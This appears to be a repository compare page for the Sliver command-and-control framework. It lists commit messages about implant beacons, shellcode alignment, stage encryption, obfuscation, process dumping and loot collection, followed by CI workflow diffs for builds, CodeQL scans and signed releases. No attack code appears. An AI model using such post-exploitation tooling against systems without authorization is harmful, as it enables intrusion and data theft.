RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
moloch-- 291fcf6dc3 Updated gosqlite 2022-04-04 11:36:01 -07:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
Joe 93e772f5bf Merge pull request #654 from m0rv4i/file-saving
Fix go stager file saving
2022-04-01 12:58:20 -05:00
Joe 7f714621ea Merge pull request #647 from npbf/wininet
merge wininet, fix cookies
2022-04-01 12:16:57 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
m0rv4i debee05136 Fix go stager file saving 2022-03-31 20:36:41 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
Ronan Kervella f79a2892b7 Merge pull request #650 from RafBishopFox/master
Adding procdump support for Linux
2022-03-30 11:56:13 -07:00
RafBishopFox b86e49d341 Adding procdump support for Linux 2022-03-30 10:08:04 -04:00
Noah 8e6a8035b2 update err variables 2022-03-29 16:26:12 -06:00
Noah 0a8d4cb517 merge wininet, fix cookies
Extracted from winhttp2 branch
- limited to wininet code
- merged httpclient
- added (copied) cookie jar implementation to wininet
2022-03-28 10:47:34 -06:00
Ronan Kervella e098e3ec08 Merge pull request #637 from audibleblink/current-token-owner
display token owner
2022-03-23 14:03:34 -07:00
Alex Flores a89e52548d fixes beacon-mode printing 2022-03-23 15:07:07 -04:00
Alex Flores fe873b8d8e adds generated protobuf files 2022-03-23 14:18:56 -04:00
Alex Flores d0af0f5534 adds viewing current impersonated token via whoami 2022-03-23 14:18:55 -04:00
kmathisbf 3cc982068a Merge pull request #645 from BishopFox/session_clean_fix
Make sure timeout gets set when cleaning up dead sessions.
2022-03-23 13:58:12 -04:00
Kenny Mathis 1073dedf10 Make sure timeout gets set when cleaning up dead sessions. 2022-03-23 12:55:59 -04:00
Joe e42e6be266 Merge pull request #643 from BishopFox/fix/operator-dead-sessions
Fix `prelude-operator connect`
2022-03-22 13:42:40 -05:00
rkervella e43622606f Do not add dead sessions to operator 2022-03-22 10:23:21 -07:00
Joe 59c642143d Merge pull request #642 from audibleblink/no-ci-on-draft-prs
omits running CI on draft PRs
2022-03-21 23:13:01 -05:00
Alex Flores 8f01ab216d skip running CI on draft PRs 2022-03-21 22:45:52 -04:00
Ronan Kervella 062f89e768 Merge pull request #638 from audibleblink/feature/mv
adds generic mv command
2022-03-21 15:42:50 -07:00
Alex Flores 03b470aec7 adds generated protobuf files 2022-03-21 15:17:24 -04:00
Alex Flores a74d6f6250 adds mv command 2022-03-21 15:17:23 -04:00
moloch-- 4f62f16a1d Fix GOGARBLE env 2022-03-21 13:41:03 -05:00
Joe d4ec2203cb Merge pull request #640 from BishopFox/go/v1.18
Go/v1.18
2022-03-21 12:19:48 -05:00
moloch-- 8309e7af14 Merge master 2022-03-21 10:19:48 -05:00
moloch-- 68a270581f Pass down HTTP_PROXY env to go 2022-03-21 10:15:02 -05:00
moloch-- 5e222411c8 Update pb deps 2022-03-20 13:40:10 -05:00
moloch-- 727a40bc35 Update garble 2022-03-20 13:02:25 -05:00
moloch-- 2038fbcfa3 Update CI to Go v1.18 2022-03-20 12:13:11 -05:00
moloch-- 9a5a3d161a Fix err check in wg 2022-03-20 11:46:41 -05:00
moloch-- 4b4e7c82f2 Implant compiles, but errors on runtime 2022-03-20 11:44:25 -05:00
moloch-- 2844ef91d3 Update implant 2022-03-20 11:37:39 -05:00
moloch-- cffbae3da7 Compiles ... 2022-03-20 11:19:30 -05:00
moloch-- 35fa3c95b8 Attempting to use wg example code 2022-03-20 11:16:27 -05:00
moloch-- 53afb01366 Attempting to use wg example code 2022-03-20 11:16:20 -05:00
moloch-- 33401dcd18 Merge master 2022-03-20 10:58:04 -05:00
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
moloch-- c91c724912 update garble with upstream, GOGARBLE, and -seed=random 2022-02-17 17:26:29 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 23da56f5f9 Go v1.18 rc1 2022-02-17 16:15:50 -06:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
8752 changed files with 3635911 additions and 1280200 deletions

No files matched your search

+1
View File
@@ -0,0 +1 @@
* @BishopFox/red-team
+1 -1
View File
@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- implant
- client
+16
View File
@@ -0,0 +1,16 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+97 -111
View File
@@ -2,95 +2,68 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
jobs:
linux-windows-build:
name: Linux & Windows Build
servers-build:
name: Release Build Server
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.20"
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Check Out Code
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make servers
- name: Make
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Server Artifacts
uses: actions/upload-artifact@v3
with:
name: servers
path: ./sliver-server_*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
clients-build:
name: Release Build Client
if: startsWith( github.ref, 'refs/tags/v')
runs-on: macos-latest
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.20"
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Check Out Code
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Make
run: make clients
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make AMD64
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
- name: Client Artifacts
uses: actions/upload-artifact@v3
with:
name: clients
path: ./sliver-client_*
tagged-release:
needs: [linux-windows-build, macos-build]
needs: [servers-build, clients-build]
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
@@ -98,54 +71,67 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/clients/* ./artifacts
cp ./builds/servers/* ./artifacts
- name: Release
run: mkdir -p ./release
- name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Linux
- name: Linux 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
- name: Linux ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# Windows
- name: Windows 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
- name: Windows ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
# FreeBSD
- name: FreeBSD AMD64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
- name: FreeBSD ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./release/*
- name: "Publish Release"
uses: "bishopfox/action-gh-release@v1"
with:
files: |
./artifacts/*
+15 -39
View File
@@ -4,26 +4,25 @@ on:
push:
branches:
- test/*
# pull_request:
# branches:
# - master
pull_request:
branches:
- master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
# Setup go environment
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.17"
go-version: "^1.20"
- name: Checkout repository
uses: actions/checkout@v2
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -34,44 +33,21 @@ jobs:
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Check Out Code
uses: actions/checkout@v3
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
uses: github/codeql-action/init@v2
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
# Build the server ... is this necessary though?
- run: |
make
- name: Make
run: make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v2
env:
VERSION: ${{github.sha}}
-77
View File
@@ -1,77 +0,0 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+95
View File
@@ -0,0 +1,95 @@
name: Build & Test
on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build-test:
name: Linux & Windows Test
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.20"
